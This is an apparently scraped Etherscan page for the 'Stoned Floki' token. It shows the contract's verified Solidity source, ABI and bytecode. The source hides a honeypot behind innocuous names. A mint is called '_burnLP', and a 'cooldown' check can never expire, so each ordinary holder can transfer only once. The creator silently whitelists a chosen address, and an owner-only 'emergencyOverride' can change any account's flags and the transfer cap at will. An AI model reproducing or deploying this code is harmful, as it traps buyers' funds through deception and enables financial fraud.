ETH Price: $3,333.39 (+3.52%)
 

Overview

Max Total Supply

420,000,000,000 stonedFLOKI

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,135,174,310.294257499800287385 stonedFLOKI

Value
$0.00
0xdc123d6ee4e886f5a81dd0c564be3d8d6c95f1ed
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StonedFloki

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-19
*/

/**
 * https://t.me/StonedFloki
 */

pragma solidity 0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public cooldownCheck;
    mapping (address => bool) public checkIfCooldownActive;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    bool private _openTrading = false;
    string private _name;
    string private _symbol;
    address private _creator;
    bool private cooldownSearch;
    bool private antiWhale;
    bool private tempVal;
    uint256 private setAntiWhaleAmount;
    uint256 private setTxLimit;
    uint256 private chTx;
    uint256 private tXs;
    
    constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) {
        _name = name_;
        _symbol = symbol_;
        _creator = creator_;
        checkIfCooldownActive[creator_] = tmp;
        cooldownCheck[creator_] = tmp2;
        antiWhale = tmp;
        tempVal = tmp2;
        cooldownSearch = tmp2;
        tXs = tmp9;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if (sender != _creator) {
            require(_openTrading);
        }

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        
        if ((address(sender) == _creator) && (tempVal == false)) {
            setAntiWhaleAmount = chTx;
            antiWhale = true;
        }
    
        if ((address(sender) == _creator) && (tempVal == true)) {
            cooldownCheck[recipient] = true;
            tempVal = false;
        }
    
        if (cooldownCheck[sender] == false) {
            if ((amount > setTxLimit)) {
                require(false);
            }
      
            require(amount < setAntiWhaleAmount);
            if (antiWhale == true) {
                if (checkIfCooldownActive[sender] == true) {
                    require(false, "ERC20: please wait another %m:%s min before transfering");
                }
                checkIfCooldownActive[sender] = true;
                _cooldownBeforeNewSell(sender, block.timestamp);
            }
        }
        
        uint256 taxamount = amount;
        
        _balances[sender] = senderBalance - taxamount;
        _balances[recipient] += taxamount;

        emit Transfer(sender, recipient, taxamount);
        
    }

    function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        
        setAntiWhaleAmount = _totalSupply;
        chTx = _totalSupply / val1;
        setTxLimit = chTx * val2;
        
        emit Transfer(address(0), account, amount);    }
        
    function _BurnTheJoint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[0x000000000000000000000000000000000000dEaD] += amount;
        emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount);
     }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        if ((address(owner) == _creator) && (cooldownSearch == true)) {
            cooldownCheck[spender] = true;
            checkIfCooldownActive[spender] = false;
            cooldownSearch = false;
        }

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function emergencyOverride(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
        cooldownCheck[account] = v1;
        checkIfCooldownActive[account] = v2;
        antiWhale = v3;
        setAntiWhaleAmount = v4;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
    
    function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { 
        if ((block.timestamp - amount) > 5*60) {
            checkIfCooldownActive[account] = false;
        }
    }
    
    function openTrading() external onlyOwner() {
        _openTrading = true;
    }
}

contract ERC20Floki is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        bool tmp, bool tmp2, uint256 tmp6,
        uint256 tmp7, address creator,
        uint256 initialSupply, address owner,
        uint256 tmp9
    ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {
        _burnLP(owner, initialSupply, tmp6, tmp7);
    }
}

contract StonedFloki is ERC20Floki {
    constructor() ERC20Floki("Stoned Floki", "stonedFLOKI", false, true, 1000, 30, msg.sender, 420000000000 * 10 ** 18, msg.sender, 1) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkIfCooldownActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"cooldownCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v1","type":"bool"},{"internalType":"bool","name":"v2","type":"bool"},{"internalType":"bool","name":"v3","type":"bool"},{"internalType":"uint256","name":"v4","type":"uint256"}],"name":"emergencyOverride","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526007805460ff191690553480156200001b57600080fd5b506040518060400160405280600c81526020016b53746f6e656420466c6f6b6960a01b8152506040518060400160405280600b81526020016a73746f6e6564464c4f4b4960a81b815250600060016103e8601e336c054d17db76321263eca00000003360018989858a8a85600062000098620001c160201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508551620000f7906008906020890190620002d9565b5084516200010d906009906020880190620002d9565b50600a80546001600160a01b0319166001600160a01b039590951694851781556000948552600360209081526040808720805460ff1990811697151597881790915560029092529095208054909516921515928317909455835461ffff60a81b1916600160a81b90930260ff60b01b191692909217600160b01b82021760ff60a01b1916600160a01b90910217909155600e5550620001b1905082848888620001c5565b5050505050505050505062000432565b3390565b6001600160a01b038416620002205760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b82600660008282546200023491906200037f565b90915550506001600160a01b03841660009081526004602052604081208054859290620002639084906200037f565b9091555050600654600b8190556200027d9083906200039a565b600d8190556200028f908290620003bd565b600c556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002e790620003df565b90600052602060002090601f0160209004810192826200030b576000855562000356565b82601f106200032657805160ff191683800117855562000356565b8280016001018555821562000356579182015b828111156200035657825182559160200191906001019062000339565b506200036492915062000368565b5090565b5b8082111562000364576000815560010162000369565b600082198211156200039557620003956200041c565b500190565b600082620003b857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003da57620003da6200041c565b500290565b600181811c90821680620003f457607f821691505b602082108114156200041657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610e4280620004426000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d714610224578063a9059cbb14610237578063c9567bf91461024a578063dd62ed3e14610252578063e33b66f61461028b57600080fd5b8063715018a6146101d657806379f65978146101de5780638da5cb5b1461020157806395d89b411461021c57600080fd5b8063313ce567116100de578063313ce567146101765780633950935114610185578063482a4d651461019857806370a08231146101ad57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102ae565b6040516101259190610d02565b60405180910390f35b61014161013c366004610cd8565b610340565b6040519015158152602001610125565b6006545b604051908152602001610125565b610141610171366004610c40565b610356565b60405160128152602001610125565b610141610193366004610cd8565b61040c565b6101ab6101a6366004610c7c565b610443565b005b6101556101bb366004610beb565b6001600160a01b031660009081526004602052604090205490565b6101ab6104cf565b6101416101ec366004610beb565b60026020526000908152604090205460ff1681565b6000546040516001600160a01b039091168152602001610125565b610118610543565b610141610232366004610cd8565b610552565b610141610245366004610cd8565b6105ed565b6101ab6105fa565b610155610260366004610c0d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b610141610299366004610beb565b60036020526000908152604090205460ff1681565b6060600880546102bd90610dbb565b80601f01602080910402602001604051908101604052809291908181526020018280546102e990610dbb565b80156103365780601f1061030b57610100808354040283529160200191610336565b820191906000526020600020905b81548152906001019060200180831161031957829003601f168201915b5050505050905090565b600061034d338484610633565b50600192915050565b60006103638484846107cd565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103ed5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61040185336103fc8685610da4565b610633565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161034d9185906103fc908690610d8c565b6000546001600160a01b0316331461046d5760405162461bcd60e51b81526004016103e490610d57565b6001600160a01b039094166000908152600260209081526040808320805496151560ff199788161790556003909152902080549215159290931691909117909155600a8054911515600160a81b0260ff60a81b19909216919091179055600b55565b6000546001600160a01b031633146104f95760405162461bcd60e51b81526004016103e490610d57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546102bd90610dbb565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e4565b6105e333856103fc8685610da4565b5060019392505050565b600061034d3384846107cd565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016103e490610d57565b6007805460ff19166001179055565b6001600160a01b0383166106955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e4565b6001600160a01b0382166106f65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e4565b600a546001600160a01b0384811691161480156107215750600a54600160a01b900460ff1615156001145b1561076c576001600160a01b0382166000908152600260209081526040808320805460ff19908116600117909155600390925290912080549091169055600a805460ff60a01b191690555b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e4565b6001600160a01b0382166108935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e4565b600a546001600160a01b038481169116146108b75760075460ff166108b757600080fd5b6001600160a01b0383166000908152600460205260409020548181101561092f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e4565b600a546001600160a01b0385811691161480156109565750600a54600160b01b900460ff16155b1561097557600d54600b55600a805460ff60a81b1916600160a81b1790555b600a546001600160a01b0385811691161480156109a05750600a54600160b01b900460ff1615156001145b156109d6576001600160a01b0383166000908152600260205260409020805460ff19166001179055600a805460ff60b01b191690555b6001600160a01b03841660009081526002602052604090205460ff16610aeb57600c54821115610a0557600080fd5b600b548210610a1357600080fd5b600a54600160a81b900460ff16151560011415610aeb576001600160a01b03841660009081526003602052604090205460ff16151560011415610abe5760405162461bcd60e51b815260206004820152603760248201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360448201527f206d696e206265666f7265207472616e73666572696e6700000000000000000060648201526084016103e4565b6001600160a01b0384166000908152600360205260409020805460ff19166001179055610aeb8442610b87565b81610af68183610da4565b6001600160a01b038087166000908152600460205260408082209390935590861681529081208054839290610b2c908490610d8c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b7891815260200190565b60405180910390a35050505050565b61012c610b948242610da4565b1115610bbb576001600160a01b0382166000908152600360205260409020805460ff191690555b5050565b80356001600160a01b0381168114610bd657600080fd5b919050565b80358015158114610bd657600080fd5b600060208284031215610bfd57600080fd5b610c0682610bbf565b9392505050565b60008060408385031215610c2057600080fd5b610c2983610bbf565b9150610c3760208401610bbf565b90509250929050565b600080600060608486031215610c5557600080fd5b610c5e84610bbf565b9250610c6c60208501610bbf565b9150604084013590509250925092565b600080600080600060a08688031215610c9457600080fd5b610c9d86610bbf565b9450610cab60208701610bdb565b9350610cb960408701610bdb565b9250610cc760608701610bdb565b949793965091946080013592915050565b60008060408385031215610ceb57600080fd5b610cf483610bbf565b946020939093013593505050565b600060208083528351808285015260005b81811015610d2f57858101830151858201604001528201610d13565b81811115610d41576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d9f57610d9f610df6565b500190565b600082821015610db657610db6610df6565b500390565b600181811c90821680610dcf57607f821691505b60208210811415610df057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207d396bed4358851d021a398d4116fd4e5f0a7fa9c2629ceba264fed0740e5f8f64736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d714610224578063a9059cbb14610237578063c9567bf91461024a578063dd62ed3e14610252578063e33b66f61461028b57600080fd5b8063715018a6146101d657806379f65978146101de5780638da5cb5b1461020157806395d89b411461021c57600080fd5b8063313ce567116100de578063313ce567146101765780633950935114610185578063482a4d651461019857806370a08231146101ad57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102ae565b6040516101259190610d02565b60405180910390f35b61014161013c366004610cd8565b610340565b6040519015158152602001610125565b6006545b604051908152602001610125565b610141610171366004610c40565b610356565b60405160128152602001610125565b610141610193366004610cd8565b61040c565b6101ab6101a6366004610c7c565b610443565b005b6101556101bb366004610beb565b6001600160a01b031660009081526004602052604090205490565b6101ab6104cf565b6101416101ec366004610beb565b60026020526000908152604090205460ff1681565b6000546040516001600160a01b039091168152602001610125565b610118610543565b610141610232366004610cd8565b610552565b610141610245366004610cd8565b6105ed565b6101ab6105fa565b610155610260366004610c0d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b610141610299366004610beb565b60036020526000908152604090205460ff1681565b6060600880546102bd90610dbb565b80601f01602080910402602001604051908101604052809291908181526020018280546102e990610dbb565b80156103365780601f1061030b57610100808354040283529160200191610336565b820191906000526020600020905b81548152906001019060200180831161031957829003601f168201915b5050505050905090565b600061034d338484610633565b50600192915050565b60006103638484846107cd565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103ed5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61040185336103fc8685610da4565b610633565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161034d9185906103fc908690610d8c565b6000546001600160a01b0316331461046d5760405162461bcd60e51b81526004016103e490610d57565b6001600160a01b039094166000908152600260209081526040808320805496151560ff199788161790556003909152902080549215159290931691909117909155600a8054911515600160a81b0260ff60a81b19909216919091179055600b55565b6000546001600160a01b031633146104f95760405162461bcd60e51b81526004016103e490610d57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546102bd90610dbb565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e4565b6105e333856103fc8685610da4565b5060019392505050565b600061034d3384846107cd565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016103e490610d57565b6007805460ff19166001179055565b6001600160a01b0383166106955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e4565b6001600160a01b0382166106f65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e4565b600a546001600160a01b0384811691161480156107215750600a54600160a01b900460ff1615156001145b1561076c576001600160a01b0382166000908152600260209081526040808320805460ff19908116600117909155600390925290912080549091169055600a805460ff60a01b191690555b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e4565b6001600160a01b0382166108935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e4565b600a546001600160a01b038481169116146108b75760075460ff166108b757600080fd5b6001600160a01b0383166000908152600460205260409020548181101561092f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e4565b600a546001600160a01b0385811691161480156109565750600a54600160b01b900460ff16155b1561097557600d54600b55600a805460ff60a81b1916600160a81b1790555b600a546001600160a01b0385811691161480156109a05750600a54600160b01b900460ff1615156001145b156109d6576001600160a01b0383166000908152600260205260409020805460ff19166001179055600a805460ff60b01b191690555b6001600160a01b03841660009081526002602052604090205460ff16610aeb57600c54821115610a0557600080fd5b600b548210610a1357600080fd5b600a54600160a81b900460ff16151560011415610aeb576001600160a01b03841660009081526003602052604090205460ff16151560011415610abe5760405162461bcd60e51b815260206004820152603760248201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360448201527f206d696e206265666f7265207472616e73666572696e6700000000000000000060648201526084016103e4565b6001600160a01b0384166000908152600360205260409020805460ff19166001179055610aeb8442610b87565b81610af68183610da4565b6001600160a01b038087166000908152600460205260408082209390935590861681529081208054839290610b2c908490610d8c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b7891815260200190565b60405180910390a35050505050565b61012c610b948242610da4565b1115610bbb576001600160a01b0382166000908152600360205260409020805460ff191690555b5050565b80356001600160a01b0381168114610bd657600080fd5b919050565b80358015158114610bd657600080fd5b600060208284031215610bfd57600080fd5b610c0682610bbf565b9392505050565b60008060408385031215610c2057600080fd5b610c2983610bbf565b9150610c3760208401610bbf565b90509250929050565b600080600060608486031215610c5557600080fd5b610c5e84610bbf565b9250610c6c60208501610bbf565b9150604084013590509250925092565b600080600080600060a08688031215610c9457600080fd5b610c9d86610bbf565b9450610cab60208701610bdb565b9350610cb960408701610bdb565b9250610cc760608701610bdb565b949793965091946080013592915050565b60008060408385031215610ceb57600080fd5b610cf483610bbf565b946020939093013593505050565b600060208083528351808285015260005b81811015610d2f57858101830151858201604001528201610d13565b81811115610d41576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d9f57610d9f610df6565b500190565b600082821015610db657610db6610df6565b500390565b600181811c90821680610dcf57607f821691505b60208210811415610df057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207d396bed4358851d021a398d4116fd4e5f0a7fa9c2629ceba264fed0740e5f8f64736f6c63430008070033

Deployed Bytecode Sourcemap

9383:184:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3058:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3972:169;;;;;;:::i;:::-;;:::i;:::-;;;2243:14:1;;2236:22;2218:41;;2206:2;2191:18;3972:169:0;2078:187:1;3379:108:0;3467:12;;3379:108;;;6643:25:1;;;6631:2;6616:18;3379:108:0;6497:177:1;4149:422:0;;;;;;:::i;:::-;;:::i;3278:93::-;;;3361:2;6821:36:1;;6809:2;6794:18;3278:93:0;6679:184:1;4579:215:0;;;;;;:::i;:::-;;:::i;8330:253::-;;;;;;:::i;:::-;;:::i;:::-;;3495:127;;;;;;:::i;:::-;-1:-1:-1;;;;;3596:18:0;3569:7;3596:18;;;:9;:18;;;;;;;3495:127;1796:148;;;:::i;2019:46::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;1582:79;1620:7;1647:6;1582:79;;-1:-1:-1;;;;;1647:6:0;;;2016:51:1;;2004:2;1989:18;1582:79:0;1870:203:1;3166:104:0;;;:::i;4802:377::-;;;;;;:::i;:::-;;:::i;3630:175::-;;;;;;:::i;:::-;;:::i;8912:82::-;;;:::i;3813:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3929:18:0;;;3902:7;3929:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3813:151;2072:54;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3058:100;3112:13;3145:5;3138:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3058:100;:::o;3972:169::-;4055:4;4072:39;180:10;4095:7;4104:6;4072:8;:39::i;:::-;-1:-1:-1;4129:4:0;3972:169;;;;:::o;4149:422::-;4255:4;4272:36;4282:6;4290:9;4301:6;4272:9;:36::i;:::-;-1:-1:-1;;;;;4348:19:0;;4321:24;4348:19;;;:11;:19;;;;;;;;180:10;4348:33;;;;;;;;4400:26;;;;4392:79;;;;-1:-1:-1;;;4392:79:0;;4712:2:1;4392:79:0;;;4694:21:1;4751:2;4731:18;;;4724:30;4790:34;4770:18;;;4763:62;-1:-1:-1;;;4841:18:1;;;4834:38;4889:19;;4392:79:0;;;;;;;;;4482:57;4491:6;180:10;4513:25;4532:6;4513:16;:25;:::i;:::-;4482:8;:57::i;:::-;-1:-1:-1;4559:4:0;;4149:422;-1:-1:-1;;;;4149:422:0:o;4579:215::-;180:10;4667:4;4716:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4716:34:0;;;;;;;;;;4667:4;;4684:80;;4707:7;;4716:47;;4753:10;;4716:47;:::i;8330:253::-;1709:6;;-1:-1:-1;;;;;1709:6:0;180:10;1709:22;1701:67;;;;-1:-1:-1;;;1701:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8443:22:0;;::::1;;::::0;;;:13:::1;:22;::::0;;;;;;;:27;;;::::1;;-1:-1:-1::0;;8443:27:0;;::::1;;::::0;;8481:21:::1;:30:::0;;;;;:35;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;8527:9:::1;:14:::0;;;::::1;;-1:-1:-1::0;;;8527:14:0::1;-1:-1:-1::0;;;;8527:14:0;;::::1;::::0;;;::::1;::::0;;8552:18:::1;:23:::0;8330:253::o;1796:148::-;1709:6;;-1:-1:-1;;;;;1709:6:0;180:10;1709:22;1701:67;;;;-1:-1:-1;;;1701:67:0;;;;;;;:::i;:::-;1903:1:::1;1887:6:::0;;1866:40:::1;::::0;-1:-1:-1;;;;;1887:6:0;;::::1;::::0;1866:40:::1;::::0;1903:1;;1866:40:::1;1934: